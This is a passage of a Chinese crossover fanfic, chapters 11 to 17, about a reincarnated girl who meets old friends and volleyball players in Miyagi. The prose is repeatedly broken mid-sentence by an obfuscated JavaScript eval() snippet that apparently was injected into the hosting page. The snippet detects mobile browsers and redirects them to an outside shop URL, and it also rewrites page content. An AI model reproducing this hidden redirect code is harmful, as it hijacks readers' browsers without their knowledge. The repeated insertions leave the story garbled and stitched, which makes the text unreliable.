上辈子就算了，威士忌组把她从11岁照顾到18岁，对她来说是亦师亦友亦父的存在。 这辈子他们都是同龄人了，还是这样！ 有时候澪会想，果然这些人的责任心无论是不是换了一个世界都是这样的吧。 明明，这个世界如此和平。 本来亲缘浅薄的他们这辈子都很幸福了，家庭美满幸福，童年快乐美好，可是，还是养成了这样的降谷零和诸伏景光，甚至还附带了其他三个。 清水澪无奈，她从东京跑到这边上学，一方面是确定了这个世界非常和平所有人都很幸福地走在了属于自己的道路上，另一方面的原因，其实是不确定感。 她不能确定上辈子的朋友和这辈子的有何不同。 记忆不同，经历不同，未来大概率也不会相同的人。 还是同一个人吗？ 或者说，她的朋友们早在那一场终焉里就走向了既定的命运，说不定这一世只不过是她的幻想呢。 所以她离开了。 既然他们都很安全也很幸福，那就没必要打扰了。 这个世界没有黑衣组织，所有人的命运都不同了。 那么，她应该也可以换一种活法了。 这里的降谷零和诸伏景光，终究不是她认识的那个波本和苏格兰。 就当作是新朋友相处吧，她并不喜欢把他们弄混，哪怕他们可能真的是属于同一套人格代码，是彼此的同位体。 但对于她来说，不一样的。 她不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17375176|200060||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 该在他们身上寻找慰籍，他们没有记忆，他们只是这一世的他们。 * 澪不擅长告别，无论哪一世的她都是这样。 上一世的她生命终结在十八岁，离开的时候也没有和任何人告别，这一次从东京来这边上学也没有和国中时期的朋友说起，他们可能以为自己要直升高中来着。 但幸好来找她的降谷零和诸伏景光也没有询问她为什么要离开。 他们和以前一样尊重她。 比赛结束后，这两个人赖着不走，非要见一面‘及川前辈’！ 佐藤本想陪他们一起，却被学生会一个电话叫走，投给清水澪一个自求多福眼神，临走前和降谷零和诸伏景光交换了line便匆匆离开。 本想带着他们去大门那里等，可是那边刚刚结束比赛的及川彻却跨过阶梯朝他们而来。 ？ 清水澪在原地站住，“及川前辈？” 及川彻身上还带着刚运动过后的热意，手里拿着湿巾擦拭手指，脸上的笑一如既往。 “小清水，谢谢你来给前辈加油，这两位是你的朋友吗？” 明明笑意盈盈语气温和，清水面却察觉到了他语气里的试探，还没说什么呢，身边的降谷零已经伸出了手，脸上是如出一辙的笑。 “你好，及川前辈，我是降谷零，澪酱的国中好友，这位是我的幼驯染，诸伏景光。” “你好，前辈。” 及川彻笑容的弧度都没有变，握上去的手却不自觉用力了几分。 澪酱啊…真亲密呢。 清水澪在一边欲言又止，她身边真的不需要再多一点萩原的招牌笑了，真的很瘆人。 诸伏景光在一边温和道，“听说了前辈对澪多有照顾，我们zero刚想当面道谢来着。” 及川和降谷零相互看了一眼，却好像并没有较劲的意思，反而和谐交谈起来。 及川彻莞尔，“这有什么，小清水在青叶城西很受欢迎的，也不止我一个人帮她，而且她对大家也很好啊。” 12. 第 12 章 降谷零半月眼看着他编，清水澪是个什么脾气他们还不知道吗？ 以前就独的厉害，从不主动交际也不主动帮谁，刚遇见他们几个的时候总用那种看小傻子的眼神看他们五个。 嘛……后来他们也懂了，天才的通病嘛，他们不生气。 后来拉着她融入集体，不许她逃才慢慢让她有了点活人感，可是高中突然不和他们一起了，说实话都挺担心的。 好在现在看起来状态还不错，没有缩回去变成阴郁小蘑菇。 以降谷零和诸伏景光的能力不难推理出，这肯定与宫城县相对安宁治愈的环境，还有及川彻和佐藤真由美这些人有关系，他们也很欣慰朋友越来越好。 但是…… 降谷零挑剔地打量着及川彻。 压分后勉强打了个及格分，撇撇嘴道，“我和hiro是真的感谢前辈和佐藤的。” 诸伏景光笑着道，“前辈加个line吧，去东京打比赛的时候可以联系我们，我们带着帝丹的同学去给青叶城西还有啊。” 及川彻心情愉悦起来，瞧人家这情商，多会说话，今年IH和春高的全国赛场地都在东京，什么时候去东京比赛，当然是他们打进全国啊。 愉快和他们交换了line，及川彻这会儿也明白过来他们和清水澪的关系了，又变成了那副好好前辈模样，“两位学弟在宫城县遇到什么需要帮助的尽管来找我，别和前辈客气。” 诸伏景光继续和他交谈。 降谷零瞅了一眼清水澪，“你喜欢这种啊？” 清水澪轻啧了一声，降谷零嗤笑，“萩原和松田的集合体？” 清水澪没好气拧了一把他的手臂，瞪他一眼，“你怎么不说你们五个的集合体？” 降谷零摸着下巴，“那得是高达了。” 清水澪觑他，“呵呵，你们也知道自己是大猩猩啊。” 哪家高一生现在和成年人差不多体格，都和及川彻差不多了，人家及川还是运动员呢。 果然，警校组无论在哪里都是大猩猩。 看着及川彻和诸伏景光越来越相谈甚欢，互相差点引为知己的样子，澪感叹，果然是他们呢，想要人有好感的时候，轻而易举就做到了，天生的卧底苗子。 至于她身边这个百无聊赖正和松田隔着网线斗嘴说八卦的嘛…… 啧… 幼稚！ * “……真的不留下来吃饭再走？”及川彻送他们出体育馆，挽留道。 诸伏景光摇了摇头，指着降谷零，“他是部长，不能离开太久的，下次见面我带你去见我们班长还有萩原和松田，我觉得你和萩原一定聊的来。” 清水澪忍了忍没忍住笑。 及川彻神色莫名，“怎么了？” 清水澪摇头，“没什么，我也觉得景光说的对。” 降谷零催促，“真得走了，下次再聊吧，不是交换了line嘛。” 诸伏景光笑应着，“好好好，那澪多保重。” 降谷零叹了口气，在及川彻的死亡视线下和澪拥抱了下，“想清楚了就回来。” 澪挑眉，“你倒是笃定。” 降谷零自信哼笑一声，把头上的帽子摘下来带在她脑袋上，敲了敲帽檐，“我还不知道你。” 清水澪被遮挡了视线，她知道降谷零说的是什么，但有时候…… 果然无论哪个世界的波本，都相当可怕呢。 * 再次确定彼此的联系方式没有改变后，降谷零和诸伏景光还是在帝丹带队老师的电话催促下离开了。 澪看着他们走出体育馆，外面已经是傍晚，天边有淡淡的橙色。 及川彻看着此刻让他觉得距离有些远的少女，询问她，“要不要等我一会儿，我送你回去？” 这段时间都是及川彻接送她，她都有点习惯了，但今天降谷零和诸伏景光的出现又让她想到了以前。 “不用了前辈，我的脚已经好了。”澪缓缓说道，“我慢慢走回去也有助于恢复。” 及川彻定定看着她一会儿，还有那顶碍眼的黑色帽子，玩笑道，“小清水不会因为老朋友来看望你就忘记我这个新朋友了吧？” 清水澪：“…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17375177|200060||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”察觉到他的视线，将帽子摘了下来，不知怎么的，还是解释了句，“帽子是我的，可能是哪次遗留在零那里了。” 及川彻干巴巴应了一声哦，笑了笑道，“开玩笑的，那你自己注意安全，排球部还要开会，到家给我发line。” 清水澪点头，“好，谢谢前辈。” 和佐藤发了个消息，告诉她自己先回家后，便背着书包走了。 其实… 刚刚不应该解释的。 及川前辈也没有问不是吗？ 可是，他好像很在意的样子。 澪的心情很放松，或许是因为看了一场排球赛，或许是朋友来青城看望自己，或许因为他们并没有怪自己，或许…是因为及川彻。 走到那个路口的时候，习惯性地往便利店的方向看了一眼。 只有一盏路灯，和一排亮着灯的自动贩卖机。 澪正准备收回视线，继续往前走，就听到了从便利店里传来的打闹声。 “……感觉没有我们学校那家好吃。” “那是乌养教练自己做的当然要更好吃一点，这个有点像速冻的。” “白痴！不好吃你还抢我的？！” “啊…你刚才不是别扭不要吗？” “这是学长给我的！你给我松口！” “哇哦～王者也会和我们一样吃包子呢。” “好啦好啦，不要闹了，今天青城和伊达工的比赛大家都已经看过了，你们……” “怎么了？” “额…那边好像有个青叶城西的女生。” 便利店门口生男高们身着制服，一起向菅原指着的马路对面看过去。 青叶城西的内搭制服和乌野很像，浅色毛衣马甲加灰蓝色衬衫，除了下身是漂亮的格子裙还有浅色西装外套外两所学校的内搭乍一看真的很像，但是… 他们面前的少女穿的很好看啊！黑发蓝眼，长相精致。 而且那种气质…… 让众人想到了清水洁子，那种有些神秘的性感的身材和气质，只是眼前的女孩子气质看起来要更冷一点。 13. 第 13 章 清水澪神色微妙了一瞬。 该说不说运动系确实气场很足，不知道的还以为是不良…… 想了想，本想朝他们礼貌点点头继续便离开的澪，却被一个橘子头的活泼少年主动打招呼了，“同学！你是青叶城西的吗？” 还…过来了？！ 清水澪想后退，日向翔阳已经到了跟前，“你好呀，我们是乌野高中排球部的。” 清水澪认出了他身上的制服，当然知道他们是乌野高中的学生，正想说什么，便利店那边又传来一个女生推开便利店大门的声音，“店长找零你们谁忘记拿了？” 清清冷冷的，很熟悉。 田中龙之介连忙接过，“啊！是我的，谢谢洁子小姐。” 清水澪望过去，清水洁子也正好看向她，“…澪？” 好巧。 清水澪也有些意外，话说洁子姐好像是的确是排球部经理来着，朝着她点点头，“姐姐。” “欸？！” 乌野众人齐齐惊讶，日向更是崩了一下，“原来是清水学姐的妹妹吗？清水学姐的妹妹在青叶城西读书吗？” 影山见他都要凑到人家女孩子面前去了，扯了他一把，“笨蛋，这不是显而易见的吗？” 西谷夕和田中龙之介已经凑到一起了，西谷夕：“是超级漂亮的女孩子，和洁子小姐不一样的风格！” 田中龙之介瞄一眼又瞄一眼，眼睛瞪的大大的，“你没发现吗？是那个啊！那个！！” 西谷夕状况外，“什么啊？” 菅原孝支像是头顶冒出了小灯泡，“是那个前段时间超出名的辉夜姬！！学校论坛有发，青城的校花对不对？” 清水澪有些尴尬，看向清水洁子，后者上前，主动介绍道，“这是我堂妹，清水澪，青城高一生，澪，这是我们排球部的。”并没有全部介绍名字，只给她介绍了队长泽村大地。 “你好你好，清水学妹。”泽村大地微笑道，“学妹也是来看今天的青城和伊达工的练习赛吗？” 清水澪点头，“是…”她看着洁子，洁子无奈道，但也习惯了她的性子，道，“叔叔婶婶忙完了让他们去家里吃饭，我爸妈老念叨这个呢，你不想做饭的时候也可以去我家。” 清水澪再次点头。 “肯定不是啦，笨蛋！” 身后又是影山飞雄和日向翔阳的打闹。 真热闹啊，乌野高中。 “问一下嘛，万一是的话，让大王和我们多约几次练习赛嘛。” “上次你打成那个鬼样子还想约，及川前辈绝对不理的啦！” 听到熟悉的名字，清水澪看向他们。 日向翔阳对视线似乎很敏锐，扑闪闪的大眼睛一下子就看过来了，又凑过来，再次自我介绍，“清水同学，我是日向翔阳。” 清水澪一向对这种外向型小太阳没有抵抗力，也温声道，“你好，我是清水澪。” 日向翔阳笑得很开心，却不好意思地挠挠头，“那个…我想问一下，你能不能帮我们和及川前辈说一声，约一把训练赛啊。” 清水澪微微挑眉，感到有些意外，“为什么会来找我？我的意思是这种事不是应该通过指导老师或者教练吗？” 日向翔阳垮起个小猫批脸，“及川前辈拒绝了啊，这次伊达工约的时间和我们重合了，及川前辈选择了伊达工，而且我这不是想着清水学妹是及川前辈的女朋友，可以帮我们说一下嘛，青叶城西很强，我们……“ “等等等等！”清水澪连忙打断他，声音都高了一度，“为什么会说及川前辈和我……我不是他是女朋友啊！” “欸？！”日向震惊，“可是网上不是……”他看向田中龙之介和西谷夕，“上次你们给我看的那个超级美少女和最佳二传手的二三事……” 田中龙之介和西谷夕尴尬捂脸，田中：“那是论坛口嗨帖啊翔阳！！！” 还当着人家女生的面八卦？！ 这也太尴尬了吧！ 日向不可置信，“可是上面不是有及川前辈骑自行车载着清水学妹的照片吗？那不就是……” 西谷夕没好气道，“那是CP粉在嗑粮，你还信以为真了。”况且及川那个家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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及川和岩泉表情微妙，他们当然知道清水洁子是谁啊，乌野高中排球部的美女经理，在他们一众排球部里都蛮知名的，但是，没想到会是清水澪的姐姐啊。 及川摸着下巴仔细端详清水澪的脸，洁子在一旁看见他的动作，微微皱眉。 “确实有点像欸。”及川不好意思挠头，“小不点小飞雄，我错怪你们了。” 14. 第 14 章 日向翔阳根本没放在心上，有点高兴在这里遇到及川彻，“没关系没关系，那个，大王，你们……” “不行。”及川彻没听完就知道这小子想说什么，他单手叉腰哼笑着摇头，“训练赛哒咩，我们接下来的黄金周是合宿周期，和大学城那边约好了，教小飞雄也哒咩，我是不可能……”说到一半看了看清水澪，还是止住了话头，“总之就是哒咩！” 清水澪难得看他这么不稳重的样子，有些新奇。 看见及川彻已经好几次看向日向翔阳身边那个顺毛男生了，清水澪就觉得及川彻好像有点过于在意这个人的样子，想到佐藤真由美说过的乌野生天才二传手…… 北川第一出身，及川彻也是北川第一出身，而按照年级来看，他们以前可能还当过队友吧。 一瞬间想明白很多东西的清水澪有些好奇地看了看影山飞雄。 天才…二传手吗？ 一看就是那种一样执拗的排球脑袋呢，最近她身边的排球人是不是太多了点。 影山飞雄却像是敏锐的小动物般，有些炸毛地朝周围看看。 及川彻却已经不满地凑到澪的身边了，“小清水，你可不能帮他们！” 清水澪好笑道，“我还什么都没有说呢。” 及川彻控诉，“你是清水洁子的妹妹啊，万一你……” 日向有些看不明白了，和影山嘀咕道，“这样还不是男女朋友吗？” 影山也不懂，但他可以推测，“或许在追求？及川前辈确实很受女孩子欢迎。” “什么女朋友。”岩泉突然出声把所有人注意吸引过去。 日向看着被他八卦的那女主人公，尴尬一笑，躲在影山飞雄身后探出脑袋，“没什么没什么！” 清水澪不想再提这个乌龙，尤其是当着及川彻的面的时候，决定回去看看网上如果闹的太过分的话，就请降谷零帮她删帖。 “太晚了，该回去了。”清水澪出声道。 及川彻微微挑眉，没有追问日向的意思，心情却很好的样子，拍拍后座，“都遇到了，上来吧，我送你回去。” 清水澪没有再拒绝，她不想再遇到类似这样看起来就是剧情触发点的事和人了，还是早点回家吧。 和洁子打了招呼，又一一和乌野的众人告别，坐上及川彻的自行车。 及川呲溜一下骑去老远，“小岩，你在后面慢慢来啊！” 岩泉一无语，和泽村大地挥了挥手，“那先这样，有时间再约练习赛。” 泽村大地：“没问题，拜。” 看着岩泉一也离开，乌野众人又活跃起来，八卦着青城要去找大学合宿和刚刚的清水澪。 西谷夕和田中龙之介凑到一起，“怪不得日向会误会，就刚刚及川的表现，根本就是在谈恋爱嘛。” 从头到尾一直没说话的月岛萤开了口，只是笑容有些恶劣，“还没追到吧，清水学姐，要不提醒一下你妹妹，还是要小心某些前辈呢。” 清水洁子表情有些奇怪，但还是摇摇头，“澪她有分寸。”然后浅笑道，“就算是男子高中排球部的主将，面对一个会拳击，柔道，空手道等多种格斗术女生，要小心的也不是澪呢。” 男生们后背一凉，菅原孝支咽了口口水，“你是说你妹妹…” 清水洁子笑得温柔，“国中时就是全国空手道冠军了哦。”虽然后来没再练了，但收拾一个及川彻还是做得到的，想到刚才及川彻过于肆无忌惮的眼神，清水洁子还是忍不住担忧。 日向拍拍胸脯，“好厉害啊，还好刚才没有冒犯到她。” 清水洁子失笑，“澪没有那么小气，很好说话的，而且……”她看向日向，“她向来喜欢翔阳这种性格的人哦，刚才如果不是及川他们来了，你再缠一会儿，她说不定还真会去帮你和及川说。” 日向受宠若惊，“真的吗？那下次……” 清水洁子向前走，“我可什么都没有说。” 想到刚才妹妹的表现，洁子倒是觉得她一个人来宫城读书也不错，以前在东京的时候，就算身边围着这么多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17375179|200060||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人，也没见她有半点畅怀的样子。 日向的话……和她那个叫萩原研二的朋友性格倒是都是超级外向型，她是希望妹妹身边都是这样的朋友啦，变成阴郁小蘑菇可不好。 * 清水澪又一次坐在了及川彻的自行车后座，这一周以来都是这样，感受着夜风的微凉，澪觉得自己也应该去入手一辆。 自行车果然有种自由的感觉。 “小清水明天还要我来接吗？”及川彻突然问道，语气还是很欢快，听出了他话里的期待，但澪迟疑几秒后还是决定拒绝。 “不用麻烦了前辈，我真的已经好得差不多了，而且前辈和岩泉前辈其实很少骑单车吧，你们早晨喜欢跑着去学校。” 及川轻叹了口气，“真是的…” 声音带了点撒娇尾调。 “小清水不要那么难以接近嘛，前辈我可是很友好地想和小清水做朋友哦。” 清水澪忍不住道，“前辈。” “嗯？” “可以正常点说话吗？还有，你是不是加了什么奇奇怪怪的人？”清水澪揪着腰侧的衣服紧了紧。 及川彻在前面笑出声来，自行车都歪斜了。 “喂！前辈！”清水澪为了稳住重心向前倾了下，手也不由得直接抱住男生的腰。 “哈哈哈哈抱歉抱歉！”及川彻稳住自行车，又笑道，“诸伏把你以前玩得好的几个朋友推给了我，我和萩原、松田还有伊达都认识了，萩原君说让我试着用这种语气还有态度对你说话，会有意想不到的效果。” 清水澪无语，他们还真是能，这么点时间已经“入侵”到这边了，“前辈，你不是这种人设，不要OOC。” 及川彻：“可是我经常被人家说轻浮欸，连你的朋友都说我和萩原君会很有得聊呢。” 清水澪无奈，“你们热情的目标可不一样，萩原是真的对女孩子很好，前辈的话，没有接受过任何一个女孩子的约会邀请吧。” 及川嗯哼一声，“学妹很了解前辈嘛。” 15. 第 15 章 及川嗯哼一声，“学妹很了解前辈嘛。” 清水澪又不说话了，车已经到了她家门口，松了口气单脚跳下车。 “学妹，”及川突然道，“明天要不要去看电影？” 清水澪迟疑地看着及川彻，背着灯光，夜色下有点看不清他的表情，但澪敏锐察觉到这人此刻好像有点紧张。 “我…”及川彻看着少女，本想直接摊牌，但是… 一定会被拒绝吧。 深吸一口气，及川只是笑了笑，“一部侦探电影，诸伏说你很喜欢工藤优作，这是他的作品。” 清水澪轻声道，“好，明天几点？” 及川彻高兴起来，“明天你多睡一会儿，中午怎么样，我们直接去吃饭然后再看电影。” 清水澪点头，“那就是12点。” “12点我来接你。”及川道，然后骑上车，“那我先走了，学妹你快进去吧。” 清水澪看了他一眼，点点头，“再见，前辈。” 看着少女转身开门进去，及川彻这才觉得自己的心跳慢慢平静下来。 慢慢骑车着离开，到家的时候，发现隔壁的小岩竟然就等在门口。 “怎么不进去？站着吹风吗小岩。”及川彻笑问。 岩泉一觑着他，“你干了什么？” 及川彻摸了摸鼻子，“嗯…我约了清水明天去看电影。” 岩泉微微挑眉，“她答应你了？” “没有…”及川彻有些沮丧道，“我没有告白。” 岩泉一看着他这副样子，没忍住捶了他一拳，“没告白你随便约女生出去？！” 及川呼同捂住脑袋，“小岩你太过分了不安慰我还揍我！” 岩泉一恨铁不成钢，“你欠揍！哪有这么轻浮地约女孩子出去的？你们现在什么关系都没有就这样，你别告诉我你只是想和她玩暧昧，你敢这样你就死定了！” 及川彻感觉自己太冤枉了，“可是现在告白，她根本不可能答应我嘛！” “你怎么知道？” 及川彻哼哼唧唧道，“小清水一看就是那种特别有主见的女孩子啊，我要是贴太近了，她一定会逃的，今天她那两个朋友在line上都和我说了，小清水可能就是害怕建立亲密关系才从东京跑来宫城的。” 岩泉皱着眉，“你的意思是她那两个朋友里有和你一样喜欢她的？” “你想到哪里去了！”及川彻无语，“他们一看就不是那种关系啊。”他还没有眼瞎到这种地步。 “我的意思是清水澪是那种一边怀疑着世界害怕建立信任关系，一边又毫不犹豫地接受着一切世界真心的人啊，她怀疑一切却根本不怕伤害，但我不能因为这个莽上去，这样的话说不定最后连入局的机会都没有。我如果现在和她告白，答不答应先不说，但在一起后她真的就能完全接纳我吗？我不要这种答应。” 他想要的是这个女生对他完全敞开心扉，并不想自己成为对方众多追求者里泯然众人的那一个。 岩泉一不是很懂现在这些情窦初开的小年轻，但并不妨碍他做出阅读理解，“意思是你很贪心。” 及川彻抓狂，“啊啊啊小岩你怎么这样！！” 岩泉一嗤笑，“这还不是贪心吗？现在的亲密关系哪有这么容易建立，好多人在我们这个年龄段谈恋爱都是短期暧昧，你想追求长期的精神寄托可没那么容易，你怎么知道对方会怎么选择。” 及川彻偏过头去不看他，“不试试怎么知道。” 岩泉一也不劝他，只说，“如果你的未来里没有她，我建议你直接放在心里算了，好好想想吧，说完转身离开。 及川彻抿着唇推着自行车进去，却被妈妈吓了一跳。 “妈妈？！” 及川晴子捂嘴忍笑，“小彻遇到情感问题了？要不要和妈妈说说。” 及川彻更羞耻了，“妈妈！！你怎么这样，我……” “咳咳，不小心听到的，本来要叫小岩进来来着，没想到你回来了，我说你这几天怎么突然一直骑车上学呢。”及川晴子打趣看着儿子。 及川彻避开她的视线，“妈妈我饿了，我先去洗手了！” *< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17375180|200060||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>清水澪把客厅的灯全部打开，窝在沙发上发呆。 宫城县这边的家里没有人。 当初来宫城读书的时候父母就把这栋公寓楼转到她名下，是清水爸爸和清水妈妈年轻时候在宫城县的住宅。 现在只有她一人独居，但父母每周会过来看望她。 说起亲人，其实她这一世实在幸运。 她没想到换了个世界连父母都会换了。 上辈子的她就是无论长相还是性格都是那对疯狂科学家的翻版。 智商也是，偏偏她装病装柔弱拒不配合，把手里和雪莉一样的牌的打得乱七八糟后，就被丢去了训练营当一次性耗品。 不是威士忌组捞了她一把的话，她大概早就死了。 这一世的父母就是普通的家庭，爸爸在投行工作，妈妈是个到处跑的服装设计师。 都很爱她，却一度让她无所适从。 但一家人最后还是寻找到了彼此最舒适的相处方式，他们也接受了自己的女儿有些不同寻常。 她想，这就是波本所说的完美的家庭状态吧。 她很满足了。 她走进厨房，给自己倒了杯水，然后端着杯子回到客厅，在沙发上坐下来。 窗外的夜色很安静，偶尔有车驶过的声音从远处传来。 澪喝了一口水，然后靠在沙发靠背上，闭上眼睛。 最近的事情实在有点多，和国中平和到平平无奇的生活相比，有些过于戏剧化了。 明明有警校组和绯色组在的米花帝丹国中部，才应该是事件高发地不是吗，偏偏换了一个世界，所有人都生活都翻天覆地了。 至少现在的东京并不流行侦探，也没有每天一件的杀人案件。 她离开东京，是为了放过自己。 不过生活想要戏剧化的话是不会给你打招呼的。 先是及川彻的心声事件确认，然后是降谷零和诸伏景光的突然出现，最后是放学路上那群乌野高中的男生。 每一件事单独拿出来都很正常，但放在一起，就让澪有种微妙的感觉。 16. 第 16 章 就好像，这个世界突然开始热闹起来了。 她不喜欢热闹。 这会让她有种故事终于要开始的即视感，怪瘆人的。 上辈子在组织里的时候，热闹往往意味着麻烦，意味着需要处理的人或事，意味着又要见血。 虽然这辈子已经不一样了，但万一呢？ 没有侦探和黑衣组织，或许这里的排球和网球也能打爆卫星呢？ 毕竟工藤新一又不是没做过。 澪睁开眼睛，从书包里掏出手机。 有几条未读消息。 佐藤真由美：【好的，收到！你脚没好全，最好还是拜托及川前辈送你回家好了。】 佐藤真由美：【我加了你国中同学的line了哦，他们问我要你近期的照片，能发吗？】 佐藤真由美：【对了清水你到家了吗？到家了给我发个消息～】 澪嘴角微微扬起，打字回复：【到家了，能发，他们消息轰炸你就别理。】 几乎是秒回。 佐藤真由美：【哈哈哈清水你怎么知道萩原君疯狂和我打听你和及川前辈的八卦，笑死了[笑哭][笑哭]】 佐藤真由美：【是诸伏君把他推给我的，后面还加了松田君和伊达君，他们都好关心你呀，不过最关心的是你是不是谈恋爱了，哈哈哈清水你要不真的试着谈个恋爱吧……】 澪看着这条消息，微微挑眉，【估计是降谷和诸伏回去后和他们说了什么，别理，他们就是爱开玩笑。】 佐藤真由美：【我有看见萩原君动态里发的你们的毕业合照哦，清水他们当中的某一个真的不是你男朋友吗？质量都好高呀！】 清水澪很少有能跟着一起八卦和谈论少女心事的同性朋友，娜塔莉和他们不在同一所学校，宫野明美去年又跟着父母出国了，所以佐藤和她说起这些倒是让她蛮新奇的。 【不是哦，是家人的存在呢。佐藤有这个打算的话，除了伊达都可以帮你介绍认识，他有个暗念 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17375181|200060||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对象不合适。】 【嗯？嗯？？清水你误会了啦！我只是比较喜欢看帅哥！我有男朋友的哦，我是觉得清水好像对交际有点苦恼的样子，谈个好的恋爱说不定会让你向好哦，我就是这样的哦，欸嘿～】 清水澪反应过来，打字道：【佐藤的男朋友不是青城的吧，国中谈的吗？】 【嗯哼～中午那会儿我们不是说起过我以前打排球的事嘛，我国中是白鸟泽女排的主攻手，在学校里人缘也蛮好的，什么人都玩的很好那种，算是女生里的人气王吧，但是在和新山女子中学争夺全国门票生那场比赛中我膝盖受伤了，到了必须要做手术的地步。 那段时间我的状态很差，还发生了不好的事，我的日记被某个女生在全班朗读。关键！！那里面还有我暗恋的人你知道吗（捂脸）太社死了，然后就开始被言语暴力，那段时间离中考只有两个月时间了，我状态超级差的，成绩下滑得厉害，靠分数没办法考上本部，又不能再靠排球拿到保送……】 17. 第 17 章 【但我超幸运的，我暗恋的那个男生直接和我告白了，怎么说呢，我觉得他是那种引导型恋人吧，在那段时间陪我去看心理医生，陪我一起复健，找教导主任处理校园暴力事件，和我父母一起鼓励我，陪我一起去上补习塾，这才终于把我的学习拉回来了，他现在在白鸟泽，我来了青叶城西。】 清水澪看着佐藤的自白，终于知道了她以前的故事，有些恍然，打字道，【佐藤现在完全好了吗？】 【嗯嗯，没问题的了，只要不剧烈运动的话。】 不剧烈运动，代表作再也打不了排球了，所以佐藤看到排球脸上才会时常露出释怀又遗憾的表情，澪想，佐藤初中应该也是很厉害的排球选手吧。 新山女子她知道，常年都是毫无争议的全国冠军，能和新山竞争全国的机会，白鸟泽女排的实力不会差，作为主攻手的佐藤在决赛折戟，不可谓不遗憾。 清水澪打字道，【佐藤很优秀哦，能在短短时间内考上青叶城西，非常有毅力，现在的佐藤也是，干劲满满呢！而且能考青叶城西说明你也能达到白鸟泽的分数，佐藤在哪里都会发光的。】 佐藤真由美：【哈哈，我也觉得自己很厉害，其实当初是他建议我换一个环境啦，因为白鸟泽很多直升的，如果我高中看见那些人也会影响我的话还不如直接换一个学校，他也是打排球的，还是我的学长。】 原来是这样，所以佐藤身上偶尔才会有阴郁谨慎又元气满满两种割裂的特质。 【所以我是真的觉得如果能有一段合适的恋爱（PS：但人要好）真的有利于身心健康哦，澪酱可以好好考虑。】 看见澪酱两个字，清水澪难得有些恍惚，【好的，谢谢真由美。】 【欸嘿（比心）那我们以后就互相叫名字了哦，澪。】 清水澪翘起嘴角，【OK，真由美酱】 她继续回消息。 还有两条是母亲发来的，说给她寄了喜欢的小菜，让她记得去拿。 澪回复了“知道了”，然后放下手机，起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17375182|200060||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身去热饭。 晚饭很简单，是咖喱牛肉土豆一锅炖。 她敢说这是她做得最好的一道菜了，当年在苏格兰和波本的评比中，可是赢过了莱伊的。 澪开着火，脑子里还在想着今天的事情。 佐藤的男朋友是白鸟泽排球部的，大概率和及川前辈同级。 